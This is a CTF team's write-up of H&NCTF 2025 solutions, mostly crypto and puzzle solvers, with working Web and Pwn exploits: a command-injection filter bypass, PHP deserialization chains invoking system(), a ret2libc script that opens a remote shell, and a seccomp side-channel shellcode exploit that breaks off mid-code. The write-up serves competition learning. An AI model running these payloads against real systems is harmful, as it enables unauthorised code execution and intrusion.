match-2025H&NCTF

竞赛时间:5月24日8:00—5月25日12:00(共28小时)

竞赛题型:涵盖 Web、Reverse、Pwn、Crypto、Misc 等主流赛题方向

奖项设置:前20名获奖,设一、二、三等奖及优胜奖,颁发荣誉证书及赞助奖品

Rank: 10


MISC

签到

微信公众号搜索关注:”HuhstSec实验室”,发送: “H&NCTF2025,Game start!!!” 获取flag

发关键词。

H&NCTF{g4me_st4rtup_initialized_succ3$$}

乱成一锅粥了

小肖望着乱成一锅粥的电脑心如死灰,既然乱成一锅粥不妨低头将它喝下(flag为H&NCTF{})

从pcapng文件中提取出9个zip文件,解压成文件夹,查看里面txt文件名均为数字的md5值,按顺序提取txt内容连接,是png文件的base64。

分别输出9个png:

1
2
3
4
5
6
7
8
9
10
11
12
13
from hashlib import md5
from base64 import b64decode

folder = ['Up','Down','Left','Right','PGUP','PGDN','Home','End','NULL']

for f in folder:
g = open(f'x/output/{f}.png','wb')
g_b = ''
for i in range(1,51):
h1 = str(i).zfill(2).encode()
h2 = md5(h1).hexdigest()
g_b += open(f'x/{f}/{h2}.txt').read()
g.write(b64decode(g_b))

得到二维码的9个碎片,拼接,扫描:
H&NCTF{This_wont_be_difficult_for_you}

芙宁娜的图片

旅行者在追踪丘丘人的时候无意间找到了一张关于芙宁娜的老照片,派蒙拿起的时候感觉比普通的照片的重,发现后面有一行字,但你们都不会丘丘人语,推断这张图片这和丘丘人的下一步动作有关,你能帮旅行者破译出这个图片的信息吗?(flag为H&NCTF{})

txt中,brainfuck得到 O&NPTF{Y0u_yepognizeq_the_Couphu's_psog.}

根据flag头,vigenere直接尝试出key=hanaaaa 时,flag为:

H&NCTF{Y0u_recognised_the_Chuchu's_plot.}

png图没啥用。

谁动了黑线?

你接到一份神秘交易数据,隐藏着一条错综复杂的“黑线”,请破解其中隐藏的秘密 (最后的flag包上H&NCTF{}提交)

hint1:尝试还原“真正”的交易链,关键在hash

hint2:flag内容为一段有意义的字符串

观察txhash一列,base58解码后,是8位数字+8位字符串的形式,从中找出后8位字符串包含小写字母的项,按对应前8位数字大小顺序连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pandas as pd
from io import StringIO

# Load the CSV
df = pd.read_csv('sheidongleheixian.csv')

# Base58 decode implementation
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
def b58decode(s):
num = 0
for char in s:
num = num * 58 + alphabet.index(char)
byte_length = (num.bit_length() + 7) // 8
return num.to_bytes(byte_length, 'big')

# Decode tx_hash into ASCII strings and extract payload tails
df['decoded'] = df['tx_hash'].apply(lambda h: b58decode(h).decode('ascii'))
df['idx'] = df['decoded'].str[2:8].astype(int)
df['tail'] = df['decoded'].str[8:]

# Reconstruct the hidden message by ordering and concatenating tails
x = df.sort_values('idx')['tail'].tolist()
for k in x:
if k[0].islower() or k[1].islower() or k[2].islower() or k[3].islower():
print(k[:4],end='')

# little_dog_is_Aomr!!

H&NCTF{little_dog_is_Aomr!!}

签退

微信公众号搜索关注:”林枫云”,发送”再见H&NCTF2025,期待H&NCTF2026”,获取flag

发关键词。

H&NCTF{succ3ssfu1_134v3_ch3ck0u7_c0mp1373d}

问卷

为2025H&NCTF留下最后的回响:https://wj.wenjuanjia.com/?questionId=czu4fckcGJDyHDJfT%2BNwDQ%3D%3D

答问卷。

H&NCTF{Thank you for participating in 2025H&NCTF!}

CRYPTO

ez-factor

哈基坤的签到题++

ACD问题,参考 2024高校密码挑战赛 - 12,构造格,能够规约出的小根上界约为243bit,本题 $r \in (2^{247},2^{248})$,爆破248-243=5位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from Crypto.Util.number import *
from tqdm import *
from itertools import *
from multiprocessing import Pool

################################################ gen data
e = 65537
N = 155296910351777777627285876776027672037304214686081903889658107735147953235249881743173605221986234177656859035013052546413190754332500394269777193023877978003355429490308124928931570682439681040003000706677272854316717486111569389104048561440718904998206734429111757045421158512642953817797000794436498517023
hint= 128897771799394706729823046048701824275008016021807110909858536932196768365642942957519868584739269771824527061163774807292614556912712491005558619713483097387272219068456556103195796986984219731534200739471016634325466080225824620962675943991114643524066815621081841013085256358885072412548162291376467189508
c = 32491252910483344435013657252642812908631157928805388324401451221153787566144288668394161348411375877874802225033713208225889209706188963141818204000519335320453645771183991984871397145401449116355563131852618397832704991151874545202796217273448326885185155844071725702118012339804747838515195046843936285308
m = 1
rho = 243
a = ["pad"] + [hint]


def attack(ii):
a = ["pad"] + [hint - 2^243*ii]

################################################ params
t,k = 20,10
R = 2^rho
indices = []
for i in product([i for i in range(t+1)] , repeat=m):
if(sum(list(i)) <= t):
indices.append(["pad"] + list(i))


################################################ attack
PR = ZZ[tuple(f"X{i}" for i in range(m))]
X = ["pad"] + list(PR.gens())
poly = []
monomials=set()
for i in indices:
f = 1
for ij in range(1,len(i)):
f *= (X[ij] - a[ij])^i[ij]
l = max(k-sum(i[1:]),0)
f *= N^l
poly.append(f)
for mono in f.monomials():
monomials.add(mono)


################################################# LLL and resultant to find roots
L = Matrix(ZZ,len(poly),len(monomials))
monomials = sorted(monomials)
for row,shift in enumerate(poly):
for col,monomial in enumerate(monomials):
L[row,col] = shift.monomial_coefficient(monomial)*monomial(*([R]*m))


res = L.LLL()
vec1 = res[0]

h = 0
for idx,monomial in enumerate(monomials):
h += (vec1[idx] // monomial(*([R]*m))) * monomial
h = h.change_ring(ZZ)
res1 = h.monic().roots()

if(res1 != []):
print(ii,res1)

lists = [i for i in range(2^5)]
with Pool(64) as pool:
r = list(pool.imap(attack, lists[::-1]))


# 21 [(13554422673199035891677873264057443320343601269005368232165269523764733091, 1)]

r = 21 * 2^243 + 13554422673199035891677873264057443320343601269005368232165269523764733091
p = GCD(hint - r, N)
print(p)
q = N // p
f = (p-1)*(q-1)
d = inverse(e, f)
m = pow(c, d, N)
print(long_to_bytes(m))

# b'H&NCTF{ac354aae-cb6b-4bd1-a9cd-090812b8f93e}'

H&NCTF{ac354aae-cb6b-4bd1-a9cd-090812b8f93e}

ez-factor-pro

哈基坤的签到+1QAQ!

同上题,只不过本题 $r \in (2^{251},2^{252})$,爆破252-243=9位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from Crypto.Util.number import *
from tqdm import *
from itertools import *
from multiprocessing import Pool
from gmssl.sm4 import CryptSM4, SM4_DECRYPT
from hashlib import sha256

################################################ gen data
e = 65537
N = 133196604547992363575584257705624404667968600447626367604523982016247386106677898877957513177151872429736948168642977575860754686097638795690422242542292618145151312000412007125887631130667228632902437183933840195380816196093162319293698836053406176957297330716990340998802156803899579713165154526610395279999
hint= 88154421894117450591552142051149160480833170266148800195422578353703847455418496231944089437130332162458102290491849331143073163240148813116171275432632366729218612063176137204570648617681911344674042091585091104687596255488609263266272373788618920171331355912434290259151350333219719321509782517693267379786
c = bytes.fromhex('476922b694c764725338cca99d99c7471ec448d6bf60de797eb7cc6e71253221035eb577075f9658ac7f1a40747778ac261787baad21ee567256872fa9400c37')
m = 1
rho = 243
a = ["pad"] + [hint]


def attack(ii):
a = ["pad"] + [hint - 2^243*ii]

################################################ params
t,k = 20,10
R = 2^rho
indices = []
for i in product([i for i in range(t+1)] , repeat=m):
if(sum(list(i)) <= t):
indices.append(["pad"] + list(i))


################################################ attack
PR = ZZ[tuple(f"X{i}" for i in range(m))]
X = ["pad"] + list(PR.gens())
poly = []
monomials=set()
for i in indices:
f = 1
for ij in range(1,len(i)):
f *= (X[ij] - a[ij])^i[ij]
l = max(k-sum(i[1:]),0)
f *= N^l
poly.append(f)
for mono in f.monomials():
monomials.add(mono)


################################################# LLL and resultant to find roots
L = Matrix(ZZ,len(poly),len(monomials))
monomials = sorted(monomials)
for row,shift in enumerate(poly):
for col,monomial in enumerate(monomials):
L[row,col] = shift.monomial_coefficient(monomial)*monomial(*([R]*m))


res = L.LLL()
vec1 = res[0]

h = 0
for idx,monomial in enumerate(monomials):
h += (vec1[idx] // monomial(*([R]*m))) * monomial
h = h.change_ring(ZZ)
res1 = h.monic().roots()

if(res1 != []):
print(ii,res1)

lists = [i for i in range(2^9)]
with Pool(64) as pool:
r = list(pool.imap(attack, lists[::-1]))

# 507 [(19611044379829562160829201436207338382477210452594451207405391929580461, 1)]
# 506 [(14154387562606904198827209207379555465002348385457546116180255002270538669, 1)]

r = 507 * 2^243 + 19611044379829562160829201436207338382477210452594451207405391929580461
p = GCD(hint - r, N)
print(p)
q = N // p

leak=p*q*r
r_bytes = long_to_bytes(leak)
iv = r_bytes[:16] if len(r_bytes) >= 16 else r_bytes + b'\0'*(16-len(r_bytes))
key = sha256(str(p + q + r).encode()).digest()[:16]
crypt_sm4 = CryptSM4()
crypt_sm4.set_key(key, SM4_DECRYPT)
m = crypt_sm4.crypt_cbc(iv, c)
print(m)

b'H&NCTF{ac354aae-cb6b-4bd1-a9cd-090812b8f93e}\x04\x04\x04\x04'

H&NCTF{ac354aae-cb6b-4bd1-a9cd-090812b8f93e}

lcgp

哈基坤只会出签到题

LCG+DLP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from Crypto.Util.number import *

def cal_LCG_m(seq):
t = []
for i in range(1, len(seq)):
t.append(seq[i] - seq[i-1])

T = []
for i in range(1, len(t) - 1):
T.append(t[i+1] * t[i-1] - t[i] ** 2)

m = []
for i in range(len(T)-1):
mm = GCD(T[i], T[i+1])
if isPrime(mm):
m.append(int(mm))
else:
for i in range(1,100):
if isPrime(mm // i):
mm = mm // i
m.append(int(mm))
break
return m

def cal_LCG_a_b(seq, m):
t = []
for i in range(1, len(seq)):
t.append(seq[i] - seq[i-1])
a = inverse(t[0], m) * t[1] % m
b = (seq[1] - a * seq[0]) % m
return (a, b)

r=[]
n=

m_poss = cal_LCG_m(r)

m = m_poss[0]
a, b = cal_LCG_a_b(r, m)
print((a, b, m))

c = (r[0]- b)*inverse(a, m) % m
print(c)

e = 2024
m = discrete_log(mod(c,n), mod(e,n))
print(long_to_bytes(m))

# b'H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}'

H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

为什么出题人的rsa总是ez

复习一下。。。大佬出题全是ezrsa,害苦我了,提交记得加上H&NCTF{}。

part1参考angstromCTF 2024 - BLAHAJ,造格求解;

part2是Common Prime RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from Crypto.Util.number import *

# part1
# https://github.com/Connor-McCartney/Connor-McCartney.github.io/blob/9903cbfca84281151a9ceaa5d9c3ea255487e3df/_pages/cryptography/rsa/BLAHAJ-angstrom-CTF-2024.md
e=65537
c=13148687178480196374316468746303529314940770955906554155276099558796308164996908275540972246587924459788286109602343699872884525600948529446071271042497049233796074202353913271513295267105242313572798635502497823862563815696165512523074252855130556615141836416629657088666030382516860597286299687178449351241568084947058615139183249169425517358363928345728230233160550711153414555500038906881581637368920188681358625561539325485686180307359210958952213244628802673969397681634295345372096628997329630862000359069425551673474533426265702926675667531063902318865506356674927615264099404032793467912541801255735763704043
n=13718277507497477508850292481640653320398820265455820215511251843542886373380880887850571647060788265498378060163112689840208264538965960596605641194331300743676780910818492860412739541418029075802834265712602393103809065720527365081016381358333378953245379751008531500896923727040455566953960991908174586311899809864209624888469263612475732913062035036254077225370843701146080145441104733074178115602425412116325647598625157922655504918118208783230138448694045386019901732846478340735331718476554208157393418221315041837392020742062275999319586357229583509788489495876723122993592623230858393165458733055504467513549
h1=6992022576367328281523272055384380182550712894467837916200781058620282657859189270338635886912232754034211897894637971546032107000253692739473463119025570291091085702056938901846349325941043398928197991115231668917435951127329817379935880511925882734157491821315858319170121031835598580384038723788681860763814776365440362143661999054338470989558459179388468943933975861549233231199667742564080001256192881732567616103760815633265325456143601649393547666835326272408622540044065067528568675569233240785553062685974593620235466519632833169291153478793523397788719000334929715524989845012633742964209311952378479134661
h2=16731800146050995761642066586565348732313856101572403535951688869814016691871958158137790504490910445304384109605408840493227057830017039824412834989258703833576252634055087138315434304691218949240382395879124201923060510497916818961571111218224960267593032380037212325935576750663442553781924370849537501656957488833521657563900462052017695599020610911371304659875887924695896434699048696392210066253577839887826292569913713802634067508141124685789817330268562127695548527522031774601654778934513355315628270319037043809972087930951609429846675450469414212384044849089372435124609387061864545559812994515828333828939

brute = 2
for i in range(2^brute):
for j in range(2^brute):
L = Matrix(ZZ, [
[1,0,0,2^brute*h1],
[0,1,0,2^brute*h2],
[0,0,2^(1024-brute),h1*i+h2*j-h1*h2],
[0,0,0,n]
])
L[:,-1:] *= n
res = L.LLL()[0]
p = 2^brute*abs(res[0])+i
if(n % p == 0):
print(p)
q = n // p
f = (p-1)*(q-1)
d = inverse(e,f)
m = pow(c,d,n)
flag1 = long_to_bytes(m)
print(flag1)

# b'flag{e_is_xevaf-cityf-fisof-ketaf-metaf-disef-nuvaf-cysuf-dosuf-getuf-cysuf-dasix,bubbleBabble}\xea\xc7P|OQ\x0f\xbc\xdcL;@-\x04\x9de\xd4\x14\xa7vNN\xa1\xce$T\xfd\x12\xc4\x9b\xfe\xeew'


# part2
#https://hasegawaazusa.github.io/common-prime-rsa.html
from sage.groups.generic import bsgs

e=81733668723981020451323 #BubbleBabble编码
N=10244621233521168199001177069337072125430662416754674144307553476569744623474797179990380824494968546110022341144527766891662229403969035901337876527595841503498459533492730326942662450786522178313517616168650624224723066308178042783540825899502172432884573844850572330970359712379107318586435848029783774998269247992706770665069866338710349292941829996807892349030660021792813986069535854445874069535737849684959397062724387110903918355074327499675776518032266136930264621047345474782910332154803497103199598761422179303240476950271702406633802957400888398042773978322395227920699611001956973796492459398737390290487
g=2296316201623391483093360819129167852633963112610999269673854449302228853625418585609211427788830598219647604923279054340009043347798635222302374950707
c=7522161394702437062976246147354737122573350166270857493289161875402286558096915490526439656281083416286224205494418845652940140144292045338308479237214749282932144020368779474518032067934302376430305635297260147830918089492765917640581392606559936829974748692299762475615766076425088306609448483657623795178727831373194757182797030376302086360751637238867384469269953187938304369668436238848537646544257504724753333177938997524154486602644412199535102323238852958634746165559537630341890450666170836721803871120344373143081664567068672230842855208267929484000179260292518351155693154372172449820053764896414799137097

nbits = 2048
gamma = 500/2048
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
# c的范围大概与N^(0.5-2*gamma)很接近
cc = bsgs(y, y ^ u, (2**(cbits-1), 2**(cbits+1)))
print(cc)

ab = u - cc
apb = v + 2 * g * cc
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
a, b = a[0][0], a[1][0]
p = 2 * g * a + 1
q = 2 * g * b + 1
print(p)
print(q)
assert p * q == N

f = (p-1)*(q-1)
d = inverse(e,f)
m = pow(c,d,N)
flag2 = long_to_bytes(m)
print(flag2)

# flag{I wish you success in your cryptography career}

H&NCTF{I wish you success in your cryptography career}

哈基coke

哈基人完成这个签到吧

猫脸变换,参数矩阵求逆乘回去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import cv2
import numpy as np

def arnold_decode(scrambled: np.ndarray, shuffle_times: int, a: int, b: int) -> np.ndarray:
N = 497
img = scrambled.copy()
tmp = np.zeros_like(img)

inv_m = np.array([[ a*b + 1, -b],
[ -a , 1]], dtype=int) % N

for _ in range(shuffle_times):
tmp.fill(0)
for x in range(N):
for y in range(N):
ox, oy = inv_m.dot([x, y]) % N
tmp[ox, oy] = img[x, y]
img[:] = tmp

return img

encrypted = cv2.imread("en_flag.png")
a, b = 9, 1
shuffle_times = 6

decrypted = arnold_decode(encrypted, shuffle_times, a, b)
cv2.imwrite("de_flag.png", decrypted)

de_flag

H&NCTF{haji_coke_you_win}

数据处理

我不会出题,应该很简单

先DLP求出替换后的new_flag,再爆破变表中未知的7位数,替换后判断结果是否包含flag头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from itertools import *
from tqdm import *

m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399
n = 2 ** 512
new_flag = str(discrete_log(mod(c,n),mod(m,n)))
print(new_flag)

lowercase = '0123456789'
for k in tqdm(permutations('0123689')):
now = ''.join(k)
uppercase = f'7{now[:3]}4{now[3:]}5'
table = ''.maketrans(uppercase,lowercase)
m = new_flag.translate(table)
flag = long_to_bytes(int(m))
if flag.isascii():
print(flag)

# b'H&NCTF{cut_cut_rrioajtfijrwegeriogjiireigji}''

H&NCTF{cut_cut_rrioajtfijrwegeriogjiireigji}

WEB

Really_Ez_Rce

是..是…是…rce,我们有救了

数组绕过intval + RCE拆分关键词绕过。

payload:

1
2
3
http://27.25.151.198:33660/?Number[]=1
POST
cmd=a=se64;b=ba;`echo dW5pcSAvZmwq| $b$a -d`

ez_php

简简单单的looploop~~

构造反序列化链,去掉最后花括号绕Exception。

先列目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from phpserialize import *

class HeiCaFei:
public_HongCaFei='system'

class DouBao:
public_dao=[HeiCaFei(),'ls /']
public_Dagongren=['x']
public_Bagongren=['y']

class GOGOGO:
public_dengchao=DouBao()

print(serialize(GOGOGO())[:-1])

# O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:9:"Bagongren";a:1:{i:0;s:1:"y";}s:9:"Dagongren";a:1:{i:0;s:1:"x";}s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}}
1
2
POST
data=O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:9:"Bagongren";a:1:{i:0;s:1:"y";}s:9:"Dagongren";a:1:{i:0;s:1:"x";}s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}}

得到文件名ofl1111111111ove4g,再读文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from phpserialize import *

class HeiCaFei:
public_HongCaFei='system'

class DouBao:
public_dao=[HeiCaFei(),'cat /ofl1111111111ove4g']
public_Dagongren=['x']
public_Bagongren=['y']

class GOGOGO:
public_dengchao=DouBao()

print(serialize(GOGOGO())[:-1])

# O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:9:"Bagongren";a:1:{i:0;s:1:"y";}s:9:"Dagongren";a:1:{i:0;s:1:"x";}s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}
1
2
POST
data=O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:9:"Bagongren";a:1:{i:0;s:1:"y";}s:9:"Dagongren";a:1:{i:0;s:1:"x";}s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}

REVERSE

F**K

FK,FK,F*K

代码逻辑:

先动态打乱base64表,输入经过变表base64编码,每4 字节一块逐块经过MD5后,混淆,得到密文。

先还原原md5值,分段爆破4字符,连接形成base64,再爆破码表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from hashlib import md5
import string
from pwnlib.util.iters import mbruteforce
from tqdm import *
import base64

c = [142, 104, 27, 180, 74, 250, 108, 3, 200, 132, 70, 123, 70, 155, 231, 191, 231, 241, 50, 181, 223, 57, 22, 254, 59, 141, 144, 32, 136, 214, 188, 4, 13, 80, 1, 105, 157, 233, 235, 238, 234, 99, 254, 24, 157, 117, 1, 76, 89, 177, 255, 147, 99, 216, 206, 96, 253, 33, 30, 74, 80, 37, 245, 248, 150, 140, 58, 191, 209, 19, 24, 189, 147, 193, 16, 136, 234, 213, 10, 127, 213, 74, 18, 222, 82, 240, 177, 21, 137, 56, 183, 108, 179, 55, 79, 139, 121, 93, 168, 250, 215, 237, 111, 31, 245, 241, 192, 27, 84, 188, 247, 116, 219, 69, 86, 205, 196, 226, 166, 147, 251, 9, 126, 242, 35, 92, 145, 95, 147, 0, 229, 249, 39, 138, 173, 193, 126, 24, 198, 34, 75, 215, 166, 202, 47, 16, 10, 50, 16, 94, 89, 190, 174, 36, 62, 8, 42, 77, 209, 245, 106, 252, 93, 132, 234, 235, 27, 39, 131, 82, 160, 187, 157, 244, 10, 169, 85, 48, 241, 112, 22, 83, 119, 27, 44, 153, 23, 154, 112, 226, 64, 144, 195, 177, 234, 146, 75, 53, 21, 20, 90, 48, 191, 86, 48, 108, 240, 48, 77, 91, 9, 124, 116, 152, 158, 136, 114, 102, 108, 92, 56, 165, 118, 11, 168, 238, 123, 241, 179, 173, 88, 45, 191, 167, 51, 17, 131, 70, 127, 29, 28, 157, 134, 26, 198, 214, 178, 153, 204, 199, 130, 171, 237, 58, 107, 18, 166, 248, 191, 28, 59, 235, 218, 224, 97, 8, 21, 1, 139, 36, 67, 202, 21, 75, 29, 145, 136, 188, 95, 146, 97, 55, 10, 162, 211, 48, 150, 81, 170, 165, 217, 80, 91, 130, 58, 170, 31, 119, 255, 156, 166, 79, 35, 40, 231, 128, 8, 139, 229, 206, 29, 252, 11, 104, 102, 188, 95, 250, 68, 194, 95, 15, 12, 134, 20, 98, 210, 244, 162, 232, 204, 155, 39, 72, 40, 174, 91, 118, 232, 188, 224, 61, 139, 132, 76, 41, 200, 146, 127, 220, 30, 166, 128, 255, 120, 63, 225, 57, 75, 208, 204, 224, 19, 247, 54, 124, 221, 92, 150, 2, 220, 249, 233, 221, 24, 135, 233, 172, 67, 38, 179, 223, 104, 194, 254, 48, 16, 176, 102, 221, 4, 106, 255, 210, 250, 225, 134, 239, 161, 4, 188, 173, 209, 206, 88, 168, 93, 157, 55, 81, 127, 207, 241, 2, 187, 75, 180, 22, 27, 191, 227, 113, 5, 212, 27, 88, 50, 232, 89, 44, 206, 227, 212, 11, 158, 2, 244, 161, 52, 62, 242, 143, 163, 159, 127, 36, 52, 110, 41, 36, 107, 254, 138, 179, 226, 108, 55, 228, 234, 121, 68, 249, 165, 40, 93, 206, 174, 121, 35, 134, 47, 154, 0, 69, 110, 159, 135, 17, 209, 15, 230, 116, 189, 123, 229, 129, 38, 129, 237, 210, 42, 35, 231, 111, 125, 64, 214, 8, 234, 120, 18, 120, 184, 79, 133, 233, 108, 139, 109, 231, 140, 20, 33, 138, 146, 63, 186, 45, 121, 104, 190, 162, 9, 146, 213, 179, 254, 124, 78, 82, 23, 226, 170, 234, 236, 189, 2, 29, 28, 128, 170, 243, 51, 187, 101, 203, 229, 29, 150, 68, 143, 78, 17, 105, 109, 165, 112, 152, 77, 188, 213, 124, 191, 44, 86, 19, 31, 244, 54, 180, 100, 255, 82, 5, 68, 2, 62, 21, 160, 9, 105, 18, 209, 81, 255, 138, 90, 91, 208, 105, 75, 7, 103, 138, 231, 143, 22, 166, 64, 21, 96, 227, 220, 98, 132, 17, 8, 81, 65, 180, 122, 186, 90, 71, 52, 41, 231, 118, 177, 218, 227, 168, 41, 182, 121, 218, 165, 226, 36, 65, 19, 34, 70, 103, 203, 141, 246, 132, 236, 14, 168, 222, 14, 1, 170, 191, 188, 58, 208, 15, 142, 101, 132, 82, 191, 67]
c = [c[16*i:16*(i+1)] for i in range(len(c)//16)]

m = []
for cc in c:
mm = []
for i in range(16):
for j in range(256):
if (7 * (j ^ (i + 6)) + 4660 * (i % 15)) % 256 == cc[i]:
mm.append(j)
m.append(bytes(mm).hex())

print(m)

table = string.ascii_letters+string.digits+'+/='
ans_b64 = ''
for i in trange(0,len(m),4):
res = mbruteforce(lambda x: md5(x.encode()).hexdigest()==m[i], table, length=4, method='fixed')
#print(m[i],res)
ans_b64 += res
print(ans_b64)

# YIfUW7XMk7rrTcmnOYLPd63vg5S5S7BojdO/lr/1dt6=

ans_b64 = 'YIfUW7XMk7rrTcmnOYLPd63vg5S5S7BojdO/lr/1dt6='
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for k in range(64):
new_table = list(table)
for i in range(59):
j = i + k
if j < len(new_table):
new_table[i], new_table[j] = new_table[j], new_table[i]
new_table = ''.join(new_table)
btl = str.maketrans(new_table,table)
flag = base64.b64decode(ans_b64.translate(btl))
if flag.startswith(b'H&NCTF'):
print(k,new_table)
print(flag)
break

# b'H&NCTF{Ye5h!!!I_Lik333_bur9~^o^}'

H&NCTF{Ye5h!!!I_Lik333_bur9~^o^}

签到re

很简单的加密,一梭就出来了

代码逻辑:

key的sha256的前四字节作为key,明文每4字节做矩阵乘法。还原:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import numpy as np

key = [81, 22, 52, 251] # k0, k1, k2, k3
cipher_bytes = [
0x00, 0x00, 0x00, 0x25, 0x0C, 0xE2, 0x70, 0x89, 0x98, 0xB2,
0xBB, 0xE4, 0x94, 0xA0, 0x95, 0xAC, 0x38, 0x92, 0x22, 0xF8,
0x0E, 0x7B, 0x76, 0x1A, 0x66, 0xC8, 0x03, 0x05, 0x2E, 0x7D,
0xA1, 0x04, 0x3D, 0xC0, 0x62, 0xFE, 0x66, 0x67, 0x02, 0x87,
0x81, 0xF4, 0x00, 0x00
]

orig_len = (cipher_bytes[0] << 24) | (cipher_bytes[1] << 16) | (cipher_bytes[2] << 8) | cipher_bytes[3]

mod = 256
k0, k1, k2, k3 = key
det = (k0 * k3 - k1 * k2) % mod

def egcd(a, b):
if b == 0:
return a, 1, 0
g, x1, y1 = egcd(b, a % b)
return g, y1, x1 - (a // b) * y1

g, x, y = egcd(det, mod)
inv_det = x % mod

inv_mat = np.array([
[( inv_det * k3) % mod, (-inv_det * k1) % mod],
[(-inv_det * k2) % mod, ( inv_det * k0) % mod]
], dtype=int)

payload = cipher_bytes[4:]
plaintext = []
for i in range(0, len(payload), 4):
block = payload[i:i+4]
for j in (0, 2):
c = np.array([block[j], block[j+1]], dtype=int)
p = inv_mat.dot(c) % mod
plaintext.extend(p.tolist())

plaintext = plaintext[:orig_len]
plain_bytes = bytes(plaintext)
print(plain_bytes)

b'H&NCTF{840584fb08a26f01c471054628e451'

H&NCTF{840584fb08a26f01c471054628e451}

PWN

pdd助力

pdd说你是最幸运的人

随机数用ctypes.cdll模拟,最后是一个ret2libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from ctypes import *
from tqdm import *
context.arch='amd64'

r=remote('27.25.151.198',47827)
elf=ELF('./pwn2/pwn2')
libc=ELF('./pwn2/libc.so.6')

libc_r = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_r.srand(libc_r.time(0))
v5 = libc_r.rand()
libc_r.srand(v5 % 5 - 44174237)
for i in trange(55):
r.recvuntil(b'good!\n')
x = libc_r.rand() % 4 + 1
r.sendline(str(x).encode())

libc_r.srand(8)
for i in trange(55):
r.recvuntil(b'good!\n')
x = libc_r.rand() % 4 + 8
r.sendline(str(x).encode())

r.recvuntil(b'man.\n')

puts_plt=elf.plt.puts
puts_got=elf.got.puts
pop_rdi=0x401483
ret=0x40101a
func=elf.sym.func
pl=flat([b'a'*(0x30+8),pop_rdi,puts_got,puts_plt,func])
r.send(pl)

puts_addr=u64(r.recv(6)+b'\x00'*2)
info(f'{puts_addr:x}')
libc.address=puts_addr-libc.sym.puts

system=libc.sym.system
binsh=next(libc.search(b'/bin/sh\x00'))
r.recvuntil(b'man.\n')
pl=flat([b'a'*(0x30+8),ret,pop_rdi,binsh,system,func])
r.send(pl)

r.interactive()

shellcode

seccomp-tools查sandbox,只有OR没有W,侧信道爆破方式攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context.arch='amd64'

r=0
def find(i, c):
global r
r=remote('27.25.151.198',47499)
sc=asm("""
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall #open("flag.txt", 0, 0);
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
